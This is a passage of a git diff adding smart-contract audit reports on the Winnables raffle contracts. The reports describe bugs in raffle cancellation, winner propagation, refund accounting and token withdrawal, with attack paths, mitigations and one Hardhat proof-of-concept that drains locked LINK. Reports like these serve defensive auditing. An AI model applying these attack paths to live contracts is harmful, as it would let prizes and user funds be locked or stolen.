expect(totalSpent).to.eq(50); + expect(totalPurchased).to.eq(50); + expect(withdrawn).to.eq(false); + } + }); + + it('Should be able to cancel the raffle', async () => { + await helpers.time.increase(7200); + await manager.cancelRaffle(counterpartContractAddress, 1, 1); + }); + }); +}); + +``` + +### Mitigation + +Update the check in `_checkShouldCancel()` as below: +```solidity +if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); +``` \ No newline at end of file diff --git a/001/150.md b/001/150.md new file mode 100644 index 0000000..4cb21c7 --- /dev/null +++ b/001/150.md @@ -0,0 +1,66 @@ +Blunt Smoke Crane + +High + +# A malicious user can lock the prize for winning a raffle provided by the admin when a raffle is won, and deny the winner his reward + +### Summary + +An admin of the Winnables protocol can create a raffle by first calling the [lockNFT()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L148-L165), [lockETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172-L188), or the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) functions in order to lock the prize that the winner of the raffle will receive. Then a CCIP message will be sent to the ``WinnablesTicketManager.sol`` contract, and set the **RaffleStatus** for the raffle id to **PRIZE_LOCKED**. Then the admin has to call the [createRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252C5-L274) function in order to fully set the raffle, and users can start buying tickets. If the raffle is successful and a winner is drawn successfully, the status of the raffle will be set to +```solidity +raffle.status = RaffleStatus.FULFILLED +``` +In the [fulfillRandomWords()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L350-L361) function. Then the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function can be called by anyone with an arbitrary **prizeManager** and **chainSelector** parameters: +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` +As can be seen from the above code snippet the **raffle.status** will be set to **PROPAGATED**, and the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function will always revert when called for the same raffle ID. Raffle with **PROPAGATED** status can't be canceled as well. A malicious user can first deploy a contract that accepts CCIP messages (so the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function doesn't revert) and then call the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function with that contract address. Then when the winner tries to call the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function in the ``WinnablePrizeManager.sol`` contract in order to claim his reward, the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function will always revert as there won't be any winner set. +```solidity + function claimPrize(uint256 raffleId) external { + ... + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + ... + } +``` +The reward for the winner of the raffle will be locked forever in the ``WinnablePrizeManager.sol`` contract. + +### Root Cause + +The [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function can be called by anyone, with arbitrary an **prizeManager** and **chainSelector** arguments. + +### Internal pre-conditions + +1. Winner for raffle with ID 1 has been successfully drawn and now the status of the raffle is **PROPAGATED**, someone should call the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function in order to propagate the winner to the ``WinnablesPrizeManager.sol`` contract, and the winner can claim his prize. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Winner for raffle with ID 1 has been successfully drawn and now the status of the raffle is **PROPAGATED**, someone should call the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function in order to propagate the winner to the ``WinnablesPrizeManager.sol`` contract, and the winner can claim his prize. +2. A malicious user deploys a contract which can receive CCIP messages, lets call it **ContractB** +3. The malicious user calls the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function but instead of providing the correct address of the ``WinnablesPrizeManager.sol`` contract, where the admin initially locked funds, he provides the address of **ContractB**. + +### Impact + +The winner of the raffle won't be able to claim his prize, as there won't be any winner set for the specific raffle ID, and the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function will always revert. The reward will be forever locked in the ``WinnablesPrizeManager.sol`` contract, the admin won't be able to withdraw it and send it manually, as the raffle can't be canceled as well. The funds that the admin locked as a reward for the winner of the raffle, either an NFT, ETH, or some ERC20 token will be locked forever + +### PoC + +_No response_ + +### Mitigation + +Consider setting up the **prizeManager** and **chainSelector** in the constructor, or create a function that can be called only once by the admin with the correct parameters. Use those parameters in the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function, don't allow users to provide arbitrary parameters. \ No newline at end of file diff --git a/001/152.md b/001/152.md new file mode 100644 index 0000000..01a6c61 --- /dev/null +++ b/001/152.md @@ -0,0 +1,61 @@ +Nutty Stone Bird + +High + +# Malicious Actor Can Exploit Reentrancy Vulnerability to Drain Funds from WinnablesPrizeManager Contract + +### Summary + +The `WinnablesPrizeManager::claimPrize` function is vulnerable to a reentrancy attack. This vulnerability arises because the function makes external calls to transfer ETH (or other assets) before updating its internal state to mark the prize as claimed. As a result, a malicious actor can exploit this by repeatedly calling `claimPrize` before the internal state is updated, potentially draining the contract’s funds. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + +### Root Cause + +1. External Calls Before State Updates: The function performs external calls to transfer ETH before it updates the internal state to mark the prize as claimed. This allows an attacker to exploit the timing gap between when the external call is made and when the internal state is updated. + +2. Lack of Reentrancy Protection: The function does not include mechanisms to prevent reentrancy attacks, such as reentrancy guards. This means that an attacker can re-enter the function before it has finished its execution, taking advantage of the fact that the prize status has not yet been updated. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Deploy Malicious Contract + +* The attacker creates a contract with a fallback function designed to re-enter the claimPrize function. + +2. Participate and Win + +* The attacker participates in the raffle and wins, becoming eligible to claim the prize. + +3. Claim Prize + +* The attacker calls claimPrize, which initiates the prize transfer but has not yet updated the prize status. + +4. Reentrancy Exploitation + +* During the ETH transfer, the malicious contract’s fallback function triggers additional calls to claimPrize. + +5. Drain Funds + +* The attacker’s contract drains the ETH from the raffle contract by exploiting the fact that the prize status has not yet been set to CLAIMED. + +### Impact + +The primary impact is the potential financial loss for the contract owner or users. An attacker can drain all ETH or other assets from the raffle contract, leading to significant financial damage. + +### PoC + +_No response_ + +### Mitigation + +* Follow the Checks-Effects-Interactions Pattern: This pattern involves performing all necessary checks, updating the contract’s state, and only then making external calls. This reduces the risk of reentrancy attacks. + +* Implement Reentrancy Guard: Use reentrancy guards to prevent reentrant calls. OpenZeppelin’s `ReentrancyGuard` provides a straightforward way to add this protection \ No newline at end of file diff --git a/001/154.md b/001/154.md new file mode 100644 index 0000000..fe92f2b --- /dev/null +++ b/001/154.md @@ -0,0 +1,57 @@ +Cool Walnut Haddock + +Medium + +# M-02 Incorrect Condition in `_checkShouldCancel` Function Allows for Improper Raffle Cancellation + +### Summary + +In the `WinnablesTicketManager` contract, the `_checkShouldCancel()` function contains a logic error that could lead to the incorrect cancellation of a raffle. Specifically, the condition `if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached();` does not account for cases where the number of tickets sold equals the minimum ticket threshold. This oversight may allow the cancellation of raffles that have met their required ticket sales, impacting both the `cancelRaffle` and `shouldCancelRaffle` functions. + +### Root Cause + +In the `_checkShouldCancel():434` function within the `WinnablesTicketManager` contract, the condition that checks if the number of tickets sold exceeds the minimum threshold is incorrect. The current check, `if (supply > raffle.minTicketsThreshold)` on line 440 , should include the >= operator to prevent the cancellation of raffles that have exactly met the minimum ticket requirement. + +Vulnerable code: +* https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440 + +### Internal pre-conditions + +1. A raffle is created with a specific `minTicketsThreshold`. +2. The raffle reaches exactly the `minTicketsThreshold`. +3. The `cancelRaffle` or `shouldCancelRaffle` function is called. + +### External pre-conditions + +1. Users participate in the raffle, bringing the ticket supply to exactly `minTicketsThreshold`. + +### Attack Path + +1. A user calls `cancelRaffle()`. +2. The `_checkShouldCancel` function is invoked. +3. The raffle may have sold exactly the number of tickets required `(supply == minTicketsThreshold)`. +4. The function erroneously identifies that the minimum ticket threshold has not been reached because the condition only checks if supply is greater than `>` the threshold, not if it is equal to `>=`. +5. The raffle is incorrectly flagged for cancellation, even though it has met the minimum requirements. +6. The raffle is canceled, and users are refunded, despite the raffle having reached the ticket goal. + +### Impact + +The incorrect logic in `_checkShouldCancel` results in the premature and unintended cancellation of raffles that have met the required ticket threshold. This could lead to user frustration as raffles they participated in are canceled despite meeting the minimum criteria, leading to potential financial and reputational damage for the platform. + +Additionally, the platform might incur unnecessary costs due to these incorrect cancellations, as funds are refunded when they should have been held, leading to potential financial instability and a loss of user trust in the platform’s functionality. + +### PoC + +1. Assume a raffle is created with a `minTicketsThreshold` of 100 tickets. +2. Users purchase exactly 100 tickets, meeting the `minTicketsThreshold`. +3. he raffle reaches its end time `endsAt < block.timestamp`. +4. A user calls `cancelRaffle()` to check if the raffle should be canceled. +5. `_checkShouldCancel` checks the condition if `supply > raffle.minTicketsThreshold` and finds that `supply == 100`, which does not satisfy the `>` condition. +6. The function fails to recognize that the minimum threshold is met, and thus incorrectly allows the raffle to be canceled. + +### Mitigation + +Update the condition in `_checkShouldCancel` on line 440 as follows: +```solidity +if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); +``` \ No newline at end of file diff --git a/001/157.md b/001/157.md new file mode 100644 index 0000000..dd28b68 --- /dev/null +++ b/001/157.md @@ -0,0 +1,82 @@ +Blunt Mulberry Wombat + +High + +# Smart-wallet winners can not claim their prizes on mainnet + +## Summary +Smart-wallet winners on Avalanche cannot claim their prizes on the mainnet due to smart-wallet address discrepancies between chains, rendering their winnings inaccessible. + +## Vulnerability Detail +Smart wallets, including multi-signature wallets and Account Abstraction wallets, are valid entities for purchasing tickets as they are explicitly supported by the `WinnablesTicket::mint` function: +```solidity +function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + +>>> _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); +} + +function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount + ) private { +>>> if (to.isContract()) { + try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, "") returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert TransferRejected(); + } + } catch { + revert TransferRejected(); + } + } + } +``` +Once a winner is selected after the Chainlink VRF response, **the same winning address from Avalanche is propagated to the mainnet**: +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; +>>> address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } +} + +function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); + uint256 winningTicketNumber = request.randomWord % supply; +>>> return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); +} +``` +However, if the winner is a smart wallet, its address on Avalanche will not be the same on the mainnet. This discrepancy means that smart-wallet winners cannot claim their prize on the mainnet, as the propagated address will not match their mainnet address. +## Impact +Smart-wallet winners are unable to claim their prizes on the mainnet, effectively rendering their winnings inaccessible. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L338-L340 +## Tool used + +Manual Review + +## Recommendation +Consider allowing buyers to specify the address on the mainnet where they would like to receive their prize when purchasing tickets. Use this provided address when propagating the winner to the mainnet. \ No newline at end of file diff --git a/001/158.md b/001/158.md new file mode 100644 index 0000000..f3e8172 --- /dev/null +++ b/001/158.md @@ -0,0 +1,33 @@ +Tall Brown Goose + +High + +# Anyone can call cancelRaffle on WinnablesTicketManager with arbitrary function arguments + +## Summary + +Function `cancelRaffle` accepts user provided arguments for `prizeManager` and `chainSelector` AND it does not have any access control mechanism as well. This means the function can call arbitrary cross-chain contract and end up with updated state without the `WinnablesPrizeManager.sol` knowing anything about the state change. + +## Vulnerability Detail + +The contract does not check if the `prizeManager` and `chainSelector` are real/system contracts on the other chain. This means an attacker call his own contracts on other chain that do nothing - however `WinnablesTicketManager.sol` contract ends up with updated state. + +`_raffles[raffleId].status = RaffleStatus.CANCELED;` + +## Impact + +Raffle is canceled but prizes are not unlocked on `WinnablesPrizeManager.sol` contract. + +This is under the assumption the raffle is in `PRIZE_LOCKED` state. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278C1-L288C6 + +## Tool used + +Manual Review + +## Recommendation + +Use stored cross-chain counterpart contracts for cross-chain messages - not user provided ones. \ No newline at end of file diff --git a/001/159.md b/001/159.md new file mode 100644 index 0000000..0f4a93e --- /dev/null +++ b/001/159.md @@ -0,0 +1,90 @@ +Blunt Smoke Crane + +High + +# If a raffle has been canceled and users were refunded their AVAX, the admin won't be able to withdraw any AVAX accumulated from ticket sales + +### Summary + +When the admin has set up a raffle, users can start buying tickets via the [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function: +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32((participation & type(uint256).max << 160) | totalPaid | uint256(totalPurchased) << 128); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } + IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +As can be seen from the above code snippet the **msg.value** is added to a **_lockedETH** variable. If the raffle has ended and the bought tickets are below the **minTicketsThreshold** set by the admin, the raffle can be canceled by everyone. When users want to get refunded they have to call the [refundPlayers()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) function, however the **_lockedETH** variable is not decreased with the refunded amount: +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` +Users will receive the Avalance native token back successfully. However when another raffle is successful and the admin decides to call the [withdrawETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306) function in order to withdraw the processed of the ticket sales, he will withdraw only a part of the funds he is supposed to. If for example the **raffle.totalRaised** for the canceled raffle was **5e18**, and for the next successful raffle (a raffle for which a winner has been drawn, and the winner was propagated to the ``WinnablesPrizeManager.sol`` contract) the **raffle.totalRaised** is **15e18**, the admin will be able to withdraw only *15e18 - 5e18 = 10e18*, resulting in a **5e18** AVAX tokens being locked in the contract forever. +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` +If there are several canceled raffles, the amount of **_lockedETH** will increase, and become more than the AVAX balance of the contract. Lets say there are 5 raffles and each had **raffle.totalRaised** = **5e18**, the 5 raffles gets canceled. Users will get refunded by calling the [refundPlayers()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) function, however **_lockedETH** will be equal to **25e18** now. Keep in mind the canceled raffles don't have to be sequential, and if the protocol has been running for a couple of months it is highly possible that there are a dozens of canceled raffles. Now lets say there is another successful raffle with **raffle.totalRaised** equal to **15e18**. Now when the admin tries to withdraw the processed of the ticket sales he won't be able to withdraw any funds because an underflow will occur in the [withdrawETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306) function and the [_sendETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L482-L486) function will revert with **ETHTransferFail()**. +### Root Cause + +The **_lockedETH** variable is not decreased in the [refundPlayers()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) function. + +### Internal pre-conditions + +1. Raffle with ID 1 has expired and the bought tickets are below the **minTicketsThreshold** set by the admin, now the raffle can be canceled. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact +If there are canceled raffles, and users gets their funds refunded via the [refundPlayers()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) function, the admin will be able to withdraw only a part of the AVAX accumulated from users buying tickets. If **_lockedETH** becomes too big due to a lot of canceled raffles the [withdrawETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306) function will start reverting, and the admin won't be able to withdraw any funds. The **raffle.totalRaised** for each cancelled raffle will result in lost funds for the admin, thus the high severity. + +### PoC + +_No response_ + +### Mitigation + +In the [refundPlayers()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) function decrease the **_lockedETH** variable with the amount each user gets refunded. \ No newline at end of file diff --git a/001/160.md b/001/160.md new file mode 100644 index 0000000..d22ac34 --- /dev/null +++ b/001/160.md @@ -0,0 +1,73 @@ +Clever Cream Bird + +High + +# H-1: Raffle termination due to insufficient checks in `WinnablesTicketManager::_checkShouldCancel` + +### Summary + +Malicious actor can cancel the raffle as soon as [`RafflePrizeLocked`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L383) event is triggered on [`WinnablesTicketManager::_ccipReceive`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L365)using [`cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278C14-L278C26) + +### Root Cause + +In [WinnablesTicketManager.sol:436](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L436) the control is returned if the raffle status is set to `PRIZE_LOCKED` + + +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; <@ audit + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } + +``` + + +Upon any prize lock by admin using [lockETH](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L172), [lockNFT](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L148) or [lockTokens](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L196) will send a message to `WinnablesTicketManager` contract via `WinnablesPrizeManager::_sendCCIPMessage`, which is received using `WinnablesTicketManager::_ccipReceive`. +This triggers an [`RafflePrizeLocked`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L383) event which can be actively listened by the attacker who will immediately call the [`WinnablesTicketManager::cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278) as it's an external function. + + +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); <@ audit - does not revert + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +This leads to a DoS (Denial of Service) of the protocol's main feature which is organising raffles. + +### Internal pre-conditions + +1. Admin needs to lock prizes using [`lockETH`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L172), [`lockNFT`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L148) or [`lockTokens`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L196) functions present in `WinnablesPrizeManager` . + +### External pre-conditions + +1. Chainlink should be sending the message that the prize has been locked on the source chain. + +### Attack Path + +1. Malicious user needs to actively listen to the `WinnablesTicketManager` contract events. +2. As soon as the `RafflePrizeLocked` is emitted, attacker will call the [`WinnablesTicketManager::cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278) external function which will immediately cancel the raffle. + +### Impact + +1. Protocol is no longer usable as intended as this disallows admin to create raffles. +2. Attempts made to lock prizes would result in loss of LINK on chainlink's subscribed messaging service. + +### PoC + +_No response_ + +### Mitigation + +It is recommended to only allow the admin to cancel prize when the `RaffleStatus` is equivalent to `PRIZE_LOCKED`. \ No newline at end of file diff --git a/001/161.md b/001/161.md new file mode 100644 index 0000000..9ea63cd --- /dev/null +++ b/001/161.md @@ -0,0 +1,114 @@ +Energetic Raisin Mockingbird + +High + +# WinnablesPrizeManager.sol :: withdrawToken() if the raffle token is LINK, it can be stolen, resulting in the winner receiving nothing and the admin collecting the profits from ticket sales without any cost. + +## Summary +**`withdrawToken()`** allows admins to withdraw tokens that aren't locked in the raffle. However, if LINK is used as the raffle token, it can be withdrawn, allowing it to be stolen and leaving the winner with nothing. +## Vulnerability Detail +**`withdrawToken()`** is implemented as follows. +```Solidity +function withdrawToken(address token, uint256 amount) external onlyRole(0) { + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + uint256 availableBalance; +@> unchecked { availableBalance = tokenBalance - _tokensLocked[token]; } + if (availableBalance < amount) revert InsufficientBalance(); + IERC20(token).safeTransfer(msg.sender, amount); + } +``` +As you can see, the **`availableBalance`** is calculated within an unchecked block, which means that if there's an over/underflow, the transaction won't revert. The issue arises when the raffle token is LINK, as this could cause an underflow due to the fee for **`_sendCCIPMessage()`** being paid in LINK. +```Solidity +function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data + ) internal returns(bytes32 messageId) { + ///... + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", +@> feeToken: LINK_TOKEN + }); + + ///... + } +``` +This causes an underflow when **`availableBalance = tokenBalance - _tokensLocked[token]`** if **`tokenBalance < _tokensLocked[token]`**, this is possible because the fees for the CCIP are paid with LINK. This underflow bypasses the **`if (availableBalance < amount) revert InsufficientBalance();`** check, allowing the tokens locked for the raffle to be stolen. + +The contest specifications explicitly state that admins cannot prevent a winner from withdrawing their prize. +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize. + +This issue allows the admin to bypass the rules, leading to a situation where people can purchase raffle tickets, but when a winner is selected, they are unable to withdraw their prize and the admin will collect the proceeds from ticket sales. +## POC +To reproduce the issue, copy the following POC into **`PrizeManager.js`**. +```js +it('Stealing locked tokens', async () => { + //mint some LINK + await (await link.connect(winnablesDeployer).mint(manager.address, ethers.utils.parseEther('100'))).wait(); + await (await token.connect(winnablesDeployer).mint(winnablesDeployer.address, 100)).wait(); + //send some LINK + await (await link.transfer(manager.address, 100)).wait(); + + const linkBalance = await link.balanceOf(manager.address); + //lock LINK tokens for the raffle + const tx = await manager.connect(winnablesDeployer).lockTokens( + counterpartContractAddress, + 1, + 3, + link.address, + linkBalance + ); + const { events } = await tx.wait(); + const ccipMessageEvent = ccipRouter.interface.parseLog(events[0]); + expect(ccipMessageEvent.name).to.eq('MockCCIPMessageEvent'); + await expect(manager.getNFTRaffle(3)).to.be.revertedWithCustomError(manager, 'InvalidRaffle'); + await expect(manager.getETHRaffle(3)).to.be.revertedWithCustomError(manager, 'InvalidRaffle'); + const tokenInfo = await manager.getTokenRaffle(3); + expect(tokenInfo.tokenAddress).to.eq(link.address); + expect(tokenInfo.amount).to.eq(linkBalance); + const prize = await manager.getRaffle(3); + expect(prize.raffleType).to.eq(3); + expect(prize.status).to.eq(0); + expect(prize.winner).to.eq(ethers.constants.AddressZero); + + //steal LINK tokens blocked from the raffle + await manager.withdrawToken(link.address, await link.balanceOf(manager.address)); + + expect(await link.balanceOf(manager.address)).to.eq(0); + }); +``` +## Impact +Admins can steal the locked tokens from the raffle, preventing the winner from receiving anything and collecting the profits from ticket sales without any cost. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPSender.sol#L33 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213 +## Tool used +Manual Review. +## Recommendation +To resolve the issue, prohibit the creation of raffles using the LINK token in **`lockTokens()`**. +```diff +function lockTokens( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + address token, + uint256 amount + ) external onlyRole(0) { ++ if (token == LINK_TOKEN) revert LINKTokenNotPermitted(); + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + if (tokenBalance < amount + _tokensLocked[token]) 